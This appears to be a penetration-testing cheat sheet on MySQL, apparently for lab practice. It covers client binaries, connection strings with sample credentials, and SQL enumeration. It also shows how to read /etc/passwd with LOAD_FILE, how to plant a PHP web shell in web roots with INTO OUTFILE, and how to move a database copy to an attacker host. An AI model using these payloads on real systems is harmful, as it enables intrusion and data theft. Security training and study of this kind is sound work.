Table of Contents


Summery

MySQL is an open-source relational database management system (RDBMS) created by Michael Widenius, David Axmark, and Allan Larsson at the Swedish company MySQL AB. Development began in 1994, and the first public release was in 1995. MySQL stores data in structured tables with rows and columns and uses SQL (Structured Query Language) to manage and retrieve information. It is widely used in web applications, content management systems, and business software.

MySQL became open-source under the GNU General Public License (GPL) in 2000. Sun Microsystems acquired it in 2008, and Oracle took ownership in 2010 when it acquired Sun. Today, MySQL remains widely used as a database backend for websites and applications.

Alternative binaries

If you find yourself on a host that doesn’t run anything when you input mysql, don’t give up hope yet. There might be some other mysql related binaries that can drop the database data for you.
mysqldump - Exports databases into SQL statements, including table structures and data.
/usr/bin/mysqldump --user='theseus' --password='iamkingtheseus' --host=127.0.0.1 Magic

mysqlshow - List databases, tables, and columns
mysqldump - Export database schemas and table data to SQL
mysqlbinlog - Read binary logs containing recorded database changes
mysqlpump - Export database schemas and table data

On Windows, you might also find .dll files that can allow you to open a mysql connection.
MySqlConnector.dll- Provides classes for connecting to MySQL and compatible database servers
You can run it with:

  1. Add-Type -Path "C:\path\to\MySqlConnector.dll" - Load the MySQL .NET driver
  2. $conn = [MySqlConnector.MySqlConnection]::new("Server=127.0.0.1;Database=test;User ID=user;Password=password;") - Create a connection using the server, database, username, and password
  3. $conn.Open() - Open the database connection
    This might not be the full way to read dat afrom the database, research it further if you’ll encounter it.

If you don’t find any mysql related alternatives, remember that you can also perform a local port forwarding - Port Forwarding - and use your attack host’s mysql with the help of Chisel or just copy the database and send the copy of it to your host.

Connecting to the server

Connecting to a remote DB - mysql -u julio -pPassword123 -h 10.129.20.13
Connecting to a local DB - mysql -u mmuser -p
Non-interactive local DB - mysql -u dolibarrowner -p'serverfun2$2023!!' -e "SHOW DATABASES;"

Note:
mysql.exe works on Windows.

Showing databases

SHOW DATABASES;

Select a database

USE htbusers;

Show tables

SHOW TABLES;

Select all data from a table

SELECT * FROM users;
SELECT * FROM users\G - Show data in a list format

Default system schemas/databases

  • mysql - is the system database that contains tables that store information required by the MySQL server
  • information_schema - provides access to database metadata
  • performance_schema - is a feature for monitoring MySQL Server execution at a low level
  • sys - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema

Read local files

MySQL installation does not allow arbitrary file read, but if the correct settings are in place and with the appropriate privileges, we can read files using the following method.
select LOAD_FILE("/etc/passwd");

Write local files

We can write files in MySQL depending on the global “secure_file_priv” variable:
secure_file_priv may be set as follows:

  • If secure_file_priv is empty, you can read and write files anywhere (not secure)
  • If set to a directory, you can only read/write in that specific directory
  • If set to NULL, file operations are completely disabled

You also need to have a “FILE” privilege on your account.
To check it, use this command - SHOW GRANTS FOR CURRENT_USER;

show variables like "secure_file_priv";
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE 'C:\\xampp\\htdocs\\backdoor.php';
or
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

References

Similar concepts: MSSQL, PostgreSQL, Microsoft SQL Server Compact Edition (SQLCE)